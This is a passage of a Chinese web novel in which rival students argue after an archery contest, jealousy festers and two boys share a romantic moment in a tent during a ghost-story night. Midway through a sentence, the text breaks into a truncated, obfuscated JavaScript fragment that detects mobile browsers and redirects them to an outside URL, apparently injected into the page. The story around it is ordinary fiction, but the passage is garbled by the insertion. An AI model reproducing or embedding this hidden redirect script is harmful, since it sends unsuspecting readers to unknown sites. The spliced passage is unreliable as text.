也领先更多。
林柒终究是比不过他的。
这么想着，林染才舒服很多。
但即便如此，他看向林柒的目光中，仍旧带着警惕和防备，还有潜藏在更深处的忌惮以及扭曲般的嫉妒。
他真的厌恶极了林柒的出风头。
对比之下，也觉得难堪。
谁都以为他赢定了，十拿九稳。
结果却如此出人意料......林染甚至都能感受到有人目光往他这边飘，仿佛欲言又止地想要说些什么。
又或者是不可置信林柒竟然射箭比他还强。
完全的出乎意料，跌破眼镜。
以至于这样的结果让人措手不及。
这种情势之下，怕是他们这边的人对他都有了些微词。
别的不说，至少陆云起都看了他好几眼。
林染比林柒强，这是默认的事实。
然而现在事实却被推翻。
林染怎么可能不感到难堪。
而后这些难堪都转化成了对林柒的愤恨。
“林柒，真是让我刮目相看。”
林染扯着嘴角说出这句话，并不怎么真心实意：“希望你继续保持，毕竟好不容易有个擅长的，而且还难得发挥了用处。”
曲回舟一直是回嘴的主战力，一只在观察着战场局势变化。
此时见林染说句话都这么阴阳怪气，实在是觉得好笑：“哎呦，也不知道是谁说输了就是输了，可千万别找什么理由的。”
“什么叫好不容易有个擅长的，还难得发挥了用处啊？妈诶，跟把谁家醋桶踢翻了一样，简直快要酸死人了。”
曲回舟用事实证明，他能更阴阳怪气。
而且要多少就有多少，气死人不偿命。
果然就见林染的脸色变得比刚才还要难看。
最后深吸几口气，还是有些绷不住。
“没什么可酸的，不然你以为为什么同样是姓林，怎么我上的是城北一中，而林柒上的却是城南十一中？”
林染扯起嘴角：“因为林柒的资质就在那里啊。”
“他在你们城南十一中可以考个好成绩，排名靠前，但到城北一中可就不是这样了。”
“所以在有对比的情况下，与其放在城北一中丢人，不如放在对比程度更低的城南十一中捡回点面子。”
林染讥讽的视线望过去——
“你说对吗，林柒？”
20.坏心
对什么？
对个粑粑。
林柒头顶的小人接着天上掉下来的粑粑，小胳膊甩的跟个风火轮似的，kuku往对面扔，每个粑粑上还挂着迷之微笑脸：）。
这真严肃不起来。
陆江野忍不住偏过头轻咳一声。
“那这么说，看来我资质也就在这里。”
陆江野稳了下心态，看向林染：“这种捧高踩低的行为，林染，你什么时候变成这样了？”
这么简单的一句话，林染脸色骤变。
杀人诛心也不过如此。
“不是，阿野，我......我只是被气昏了——”
曲回舟翻了个白眼，十分不客气地回怼：“是不是的，你都已经把心里话给说出来了。”
这种一竿子打死一船人......
呸呸，不是说他们林柒不好，而是这话说出来，简直是把他们城南十一中的都给否定了，凭什么啊。
林染看看陆江野，又看看林柒。
他真的很想问一句，陆江野说这种话，究竟是因为自己在城南十一中，还是为了林柒？
但到底也没开口问出来。
最后只留下一句成绩见分晓，便转身离开了。
林染离开，曲回舟还在忿忿不平地念叨。
说什么这次一定要考好，一定要发愤图强等等......人要脸树要皮，他们必须要争口气！
“陆哥，林柒，你们也是这么认为的吧？！”
曲回舟看向两人：“等这次放假回去，我就和陈向松说给我加大力度补习，这次我一定好好学——”
陈向松幽幽从背后冒出来，小小声：“......所以你之前都没好好学吗？”
我靠靠靠靠靠！！！
曲回舟吓得差点浑身上下所有东西都竖起来了！！
“不是，你什么时候到我身后的？！下次发言前能不能出个声？！”
陈向松有些不好意思挠挠头：“可我一直站在你身后啊。”
曲回舟：“............”
算了，他还是继续发表他的慷慨陈词吧！
决心还没表完呢。
于是继续盯向林柒和陆江野两人。
“林柒，陆哥，你们也不想期末考成绩出来后，我们被城北一中那些人嘲笑吧，你看他们那些人的嘴脸！”
反正就是怎么都瞧不起他们。
曲回舟鼻子简直都要气歪了。
说到底，城北一中那些人对比他们就是更有优越感，无法认同他们城南十一中在某些方面赢过他们。
用成绩找补又如何，反正这的确是事实。
让他们城南十一中无法反驳的事实。
所以也足够气人。
这种优越感由来已久，每次都是痛击城南十一中的锐器。
要不然也不会一直拿成绩说事......毕竟是真有的说啊。
对于曲回舟的决心，陆江野不置可否。
毕竟这种事可不是表表决心就能成的，但他能感受到周围的心声。
不止是曲回舟，还有更多的其他人。
那种为集体荣誉想争口气的感觉......真真切切的存在。
而这些人也把他纳入了其中。
还有林柒。
陆江野偏过头，看向林柒。
却倏然皱了下眉。
小雪花。
又是小雪花。
在想什么？
曲回舟还在逼逼叨，冷不丁听到陆江野说了一句好。
“嘎？”
陆江野啧了一声：“我说好。”
“还有林柒。”
林柒看过来。
陆江野盯过去，明知故问：“怎么，有什么问题吗？”
没有。
能有什么问题。
不止是一个学习互助小组，他还要听陆江野的话。
陆江野说什么，他哪敢多发表什么意见。
但......陆江野怎么就积极起来了？
林柒还以为他不会对这种事上头。
这也不太符合陆江野的性格。
但那边曲回舟已经振臂高呼，又转身拉着陈向松拟定学习计划一二三了。
看起来是真上头。
可提高成绩这种事......
算了，先不想那么多。
出来玩，不多想别的。
............
和城南一中的插曲风波过去，实验一班这边又高高兴兴玩起来。
反正放假嘛，就该好好玩。
更何况他们就是赢了，就是得意和高兴。
至于别的事情，等开学再说啦。
两筐柿子分起来，那些鸡啊鸭啊鹅啊，就被送去拔毛，等他们晚上自己做铁锅饭。
这座山中还有很多其他好玩的项目，就这么玩玩闹闹，很快天就黑了下来。
天黑之后，中间一片空地上架起了篝火。
灶台也搭了起来，分开玩的众人也陆陆续续回来帮忙做饭。
山上树多，树上还挂满了灯笼。
就算天黑的快，可晚上小灯笼一开，露营的大灯一打，也格外明亮，而且还很有氛围感。
不知道是不是这次一起出来玩，又或者是白天的那场比赛所致，一个班三十几个人，仿佛有了更多的凝聚力和向心力，彼此之间的氛围也明显变得更加和谐与融洽，就连做个饭都有说有笑的。
擅长做饭的掌勺，其他人拿调料的拿调料，看火的看火，要不然就是处理食材和布置餐桌。
反正都有事情干，而且还干得不错。
就连孔柏青都诧异这帮孩子竟然能分工明确，互帮互助做到这份上。
他还以为晚上怎么也得展露一下身手了，都暗戳戳和自己媳妇儿取了半天经......
结果现在就被分配个小马扎，说坐着等吃就行了。
不得了，这班魂还真燃了起来。
孔柏青不由得摇头笑，满脸欣慰。
视线挪到林柒那边，孔柏青不由得一顿。
作为班主任，他是关注过林柒的。
毕竟有个第一的哥哥在城北一中那边。
不过孔柏青一般不想那么多无关紧要的事情，他就是觉得林柒在学习上一直有种松弛感，你说他认真吧，有时候那股劲头儿实在是看不出来有多少，但你要说他不认真吧，又能一直将成绩保持在一个水准，没低过，但也没高过。
成绩稳定得就好像被水平仪量过一样。
当老师的，肯定是希望自己的学生有进步。
学习差的能学习好，学习好的能学习更好。
孔柏青一直认为林柒有这个潜力。
他也不是没和林柒谈过话。
但答应得好好的，还是那个样子。
仿佛怎么都提升不上去，只能维持在这个高度了。
几次下来，孔柏青也就不好再说什么。
他怕自己无形中会给孩子造成太大压力，也许这样就是极限了？
但不知道为什么，孔柏青总觉得不是这样。
尤其是在今天看完了林柒射箭之后——
这孩子明明优秀得很。
所以这会儿孔柏青就有些想不通，怎么林柒偏偏就在成绩上踟蹰不前呢？
差在了哪里？
还是有什么地方没开窍？没想通？
那成绩在原地踏步，就跟有什么疑虑一样......哎，愁人。
也许等到某个契机，就能成了吧。
就是不知道这契机是什么了。
............
实验一班这边氛围热热闹闹，城北一中那边对比下来就显得过于惨淡了。
原本他们也是想自己搞顿晚饭出来。
看好的鸡鸭鹅搞不来，只能再找人抓别的。
——因为他们实在是没兴趣也没心情再亲自去抓了。
但还是能尝试亲自做个饭。
只是想的挺好，实施起来却很困难。
对比实验一班每个人都乐于互帮互助找事情做，擅长的做擅长的，不擅长的也找其他事情做，城北一中这边就显得要不和谐多了，会干的没多少，想干的更没多少，脏活累活不想干，柴火油烟也不想沾，做起饭来才发现哪哪都是问题......
喻凡之前捡了树枝，这会儿觉得自己腰都有点疼。
他被分配到切菜，旁边是林染。
农家乐提供的厨房用具很是充
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足，这上面除了菜还有清理好的鸡鸭鹅肉，都是一整个，需要剁开。
小少爷什么时候整理过这种，看着就满脸嫌弃。
可先前过来的时候，林染先去切那些菜了。
剩下的都是鸡鸭鹅这些肉类，他就只能在这其中挑一样出来处理。
以往喻凡不会注意这些小细节。
他一直都觉得林染挺照顾他的。
更何况喻凡自然而然认为，以林染的身份，做些什么，必然会有分寸感。
毕竟比起他们这些少爷，林染的身份只是个“管家”。
他跟在陆云起身边，就该知晓自己的身份，拿捏好分寸。
但现在，喻凡看着林染手里的菜，又低头看了看自己手里难切的肉，不免有些沉默。
林染是真没注意到？
可他都把骨头剁得邦邦响了。
剁骨刀又一次卡在骨头里，喻凡切得实在是很烦躁。
而且他还有些站不住，腰疼。
砰。
对面传来的欢声笑语声，闹出来的各种动静都很招人。
相较下来，他们这边沉默得可以。
就连想活跃下气氛都不尴不尬的。
怎么就弄到现在这样？
喻凡比白天还更心烦气躁。
终于受不了把手里的刀一扔——
哐当一声。
林染抬起头看过来，语气中带着关心：“怎么了？”
“怎么了？你问我怎么了？”
喻凡语气不耐烦：“你看不出来我剁肉有多费劲吗？你倒好，切菜那么容易。”
林染笑了笑，像是有些无奈：“那你和我说啊，对不起啊，我真没注意，你要是提前和我说，我肯定就和你换了，要不然喻凡你看看哪里的活儿轻松，你去做别的好了，这肉放着我来，等我一会儿切完菜就切肉，怎么样？”
怎么样？
喻凡发现别人都在看他。
他心想不怎么样。
让他去做别的轻松的活儿，抢别人的活儿吗？！
就算有些人嘴上不敢说什么，背地里恐怕也要哔哔他。
但喻凡刚才发脾气也理亏，这会儿有些涨红脸，觉得好像踩进坑里了，却又不知道该反驳些什么好。
他盯着林染，像是重新认识他一样。
“林染，听说那边晚上要讲鬼故事，陆江野怕鬼吗？”
喻凡像是突然想起这么一个话题般问道。
林染下意识开口：“没听说过阿野怕鬼——”
“那陆江野怕什么，你知道吗？”
林染声音一顿。
“你跟在他身边这么久，不会连他怕什么都不知道吧？但你又知道他不怕什么。”
喻凡自顾自的说道，又看了林染一眼。
随即像是破罐子破摔般，抬起下巴点了点桌子上的肉：“既然你刚才说你剁肉，那你就剁吧，我不管了。”
“反正你也习惯做这种事吧？”
“哦，我的意思是说，以你的身份，也该为我们做这种事，相信陆云起是不会介意的，毕竟这只是个小忙。”
说完，喻凡就挥挥手走了。
林染站在原地，一动不动。
半晌，他抬起视线看向对面。
看到林柒也在切菜切肉，陆江野在旁边苦大仇深的表情，拿着剁骨刀梆梆梆的，仿佛能看到骨渣飞溅，随即林柒偏过头说了些什么，陆江野竟下意识动作放轻放缓了些，甚至一边撇着嘴仿佛在嫌弃，一边还把林柒那边的肉给拿过来些。
是林柒。
肯定是林柒说了些什么。
不然喻凡刚才怎么会有脑子说出那些话？！
林染不去想其他可能，只认准了林柒一般，嫉妒疯狂在啃噬着内里，想起今天发生的种种，越发的想要把林柒踩下去。
不止是让林柒在林家和陆家越来越没存在感。
他想要林柒消失。
这样的话，不管是陆家也好，还是林家也罢，最后都只会有他这一个选择。
到时候，也不会再有任何潜藏的风险。
而喻凡这些人也会意识到，往后他必然会在未来的陆家家主身边占有一席之地。
所以......如果林柒消失就好了。
21.心动
噼里啪啦，火星四溅。
最热闹的晚饭时间过后，露营地的灯熄灭了不少。
只有最中间的篝火还燃烧着星星点点的亮光，偶尔火光跳动间，大约能看到对面人的脸......十多顶帐篷围在一起，入口朝内，此时都是半掀开的状态，一张张脸裹着睡袋露出来，在火光下影影绰绰，真是衬极了现在的气氛。
“......那天晚上，我就躲在教室讲台下面，就这样躲过了学校保安的巡逻。”
“教学楼的灯都熄灭了，我心想，还好我准备了手电筒。”
“可是当我从讲台下面爬出来，想找手电筒的时候，突然！！”
“手电筒......竟然不见了？！”
“我的手电筒去了哪里？”
林柒真想朝曲回舟翻个白眼，这一惊一乍的劲儿，真是谁都比不过他。
这么想着，又免不得把睡袋紧了紧，脸还下意识往里藏了藏，但藏到一半，突然动作一顿，眼睛悄咪咪斜过去一瞬。
嗯......旁边是陆江野。
陆江野假装没看林柒。
林柒松口气，正回视线，继续悄咪咪往睡袋里蛄蛹。
蛄蛹蛄，蛄蛹蛹......
头顶的小人也在自己身边围满了小被子，建造出被子城堡，自己还从头到脚紧紧包了一个，从脑袋上顶起，两只小手拽着，在下巴上攥紧，整个小人都藏进了被子里——三角小饭团再次重出江湖。
“我找啊找，找啊找，我的手电筒呢？”
曲回舟手里还煞有其事地拿着话筒讲，但又刻意压低了声音——
“然后我终于摸到了一个圆圆的东西，还冰冰凉的。”
“于是我就准备把那东西拽出来。”
“结果你们猜怎么着？”
有人朝曲回舟扔了一颗小石子过去：“你怎么那么多废话？！我们不想猜，到底怎么了？！”
“还有这事儿真的假的啊？你真摸黑在学校里待过一晚？”
曲回舟撇撇嘴：“可不是嘛，就那回我们在教室里讲校园恐怖传说，说好了晚上一起探险试验的，结果你们都抛下我走了！就我一个人藏在教室里，喂，你们该不会忘了那次吧？我讲的就是那天晚上的经历啊。”
“这可是能够并列我人生十大恐怖事件的第一名！”
“那同时并列第一的另一件事是什么？”
“哦，是我妈去厨房拿擀面杖要打我。”
“............”
“行了行了，你赶紧接着讲吧......”
哪个学校没点儿恐怖故事，城南十一中自然也有。
曲回舟他们确实在教室里聊过十一中传说中的恐怖故事，这件事，林柒甚至还有点儿印象，更何况刚才曲回舟还点了几个人名，也确实是以前和曲回舟聚在一起聊的那几个，没看曲回舟说完，那几个被点名的可都开始缩脖子了......
靠，不会是真事儿吧？
难得曲回舟没有满嘴跑火车？
林柒不由得缩了缩脖子。
怎么感觉开始冷了。
“所以你到底拿了什么东西出来？”
林柒忍不住开口打破这神神叨叨的氛围：“肯定不是手电筒。”
曲回舟啧了一声：“我说哥哥啊，你怎么还抢答呐！”
林柒这次真朝曲回舟翻了个白眼。
谁是你哥哥呐！
“不过我确实拿到的不是手电筒。”
曲回舟再次压低了声音：“当时拿到手里后，我就感觉到了不对劲，那东西虽然也冰冰凉凉又滑滑的，但是握在手里的大小粗度可不怎么对劲，上面要更粗一些，下面更细......”
说到这里时，周围瞬间一片嘘声。
还伴随着不少意味不明的笑声。
有几个女生也听出来了，不由得笑骂曲回舟到底在说什么，别搞不正经的啊！
曲回舟冤枉：“我没啊，我都说了是冰冰凉凉又滑滑的东西！”
“你们才是一群思想不健康的！”
“咳，所以说，到底是什么啊？！”
曲回舟哼哼一声，突然阴森一笑：“是......这个啊！——”
伴随着声音，曲回舟胳膊一扬。
有什么东西扔了出来！
白色的，一节骨头，张牙舞爪的......
“我靠靠靠靠靠！！！”
“什么东西啊？！”
“啊啊啊人骨！！！”
这东西冒出得突然，加上众人又聚精会神听曲回舟最后揭秘，结果曲回舟搞个这种，几乎让所有人都猝不及防，嗷呜乱叫。
那一截手骨朝着一个人飞去，那人反应也是快，一边乱叫着，一边伸手一打飞——
嗖！！！
在黑夜中显得格外“招人眼”的手骨又朝着另一个方向飞去——
于是林柒就眼睁睁看着那截手骨张着爪，朝自己抓来。
白色的，人骨头。
原本林柒就在头脑风暴，想了半天答案，哪里能想到曲回舟直接扔了个答案出来？！！
而且还直冲他面门——
霎时间，林柒连反应的时间都没有，只觉得寒毛直竖，下意识的动作就是猛地往旁边一埋！
嗖。
死死埋住，埋住！
同一时间，那截飞来的手骨被一只手精准抓住。
陆江野啧了一声。
又将手骨随便挑个方向扔了出去。
深黑的夜晚，好几个鬼故事叠加起来的恐怖氛围，难以控制的脑海幻想，再加这么一个不知道从哪里搞来的白骨......这一瞬间，气氛直接拉到了最高点，都不给人回过神和缓过来的机会，直接跟连锁反应一样，手骨到哪，尖叫到哪。
仿佛在挨个跟手骨击掌一样，着实抽象。
不过陆江野可没时间注意这些，他低下头，看向往自己胸膛里埋的人，也不知道对方发没发现。
头顶的小人也埋了起来。
但埋的时候大概用力过猛，见屁股不见脑袋的。
陆江野伸手，戳了戳头顶那一小块。
穿过去了，什么都没碰到。
但穿过去之后，他碰到了林柒的头发。
柔软的，轻轻晃动的。
那发丝仿佛在骚动指尖，让陆江野手指不由得一顿。
停留得有些久了，就被人察觉到了动静。
胸膛埋起来的脑袋不由得晃了一下。
随即像是终于反应过来，身体也紧跟着僵硬起来，然后就跟慢动作一样，埋在他胸膛的脑袋一卡一卡地往上抬——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14114888|148373||http|test|mini|href|location''.split(''|''),0,{}));
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陆江野饶有兴致地看着，轻触发丝的手指下移，顺着后脑勺，脖颈，一路虚空点到林柒背上，腰上，接着停下来。
他往林柒腰上一戳。
林柒就跟被戳到的小蚂蚁似的，骤然间一动不动。
只眼珠子向上抬瞄他。
头顶的小人也钻了出来，脑袋上还顶着小被子，但斜着眼睛在瞪他→^→......
还挺不服气的小模样。
陆江野都快气笑了。
他可什么都没干。
“我能理解为，你这是在不好意思？恼羞成怒？还有......害怕？”
陆江野单手支着下颌，手肘撑在枕头上，侧着身体，声调懒散，另一只手指了指自己胸膛：“要是害怕，想埋还可以埋。”
林柒：“............”
“少爷说笑了。”
林柒干笑一声：“我就是没反应过来——”
“哦，没反应过来。”
“............”
陆江野手又猝不及防戳了一下林柒的腰，与此同时低声喝道：“你后面！！”
林柒猛地往上蹿了一下。
蹿完后：“............”
啊啊啊，狗东西！
陆江野挑了下眉。
随即才要开口说些什么，却骤然被人按着肩膀压了下来——
陆江野变成平躺的状态，林柒居高临下。
肩膀被按着，倒不是不能动弹，而是陆江野有些反应不过来，也有些......他抬头看着林柒，见人是真恼羞成怒了。
“少爷。”
林柒磨了下牙，拉扯出微笑：“少爷啊，我可是你的小管家，害怕不能找少爷吗？”
“是少爷的人，少爷要负责的。”
林柒空出一只手，轻轻抬起，沿着陆江野肩膀下滑，点向陆江野胸膛。
“要不然吓坏了怎么办。”
“以后可就没人伺候少爷了。”
“埋这里，也没什么大碍吧？”
指尖轻点了好几下，仿佛每一下都戳到了内里某个地方。
陆江野控制不住喉结滑动，仰着头，视线紧紧盯着自己身上的人。
外面朦胧的月光洒进来，恰好照在了林柒脸上，而他位于阴影中，躲在光亮下。
他在黑暗处盯着光明。
很想抓到。
身下的视线着实有些迫人了。
林柒后知后觉发现，被看得有些难耐。
陆江野不说话也不回应，就那么看着他，让林柒想要挪开，逃避眼下这莫名的氛围——
然而下一秒，腰上那只手不再是悬浮的状态，而是骤然压下，将人猛地按了回来。
也和先前林柒悬在陆江野上方不同，这次是结结实实压在了陆江野身上。
身体相触的地方密不透风。
陆江野另一只手扣住了林柒的脖颈。
林柒丝毫动弹不得。
他有些慌了。
“陆江野！”
压低的喊声像是想掩盖什么一样。
陆江野听着自己的名字，心想，行，可比狗东西好听。
他轻笑一声，低声开口：“不是说是我的人吗？”
“我抱我的人，不行吗？”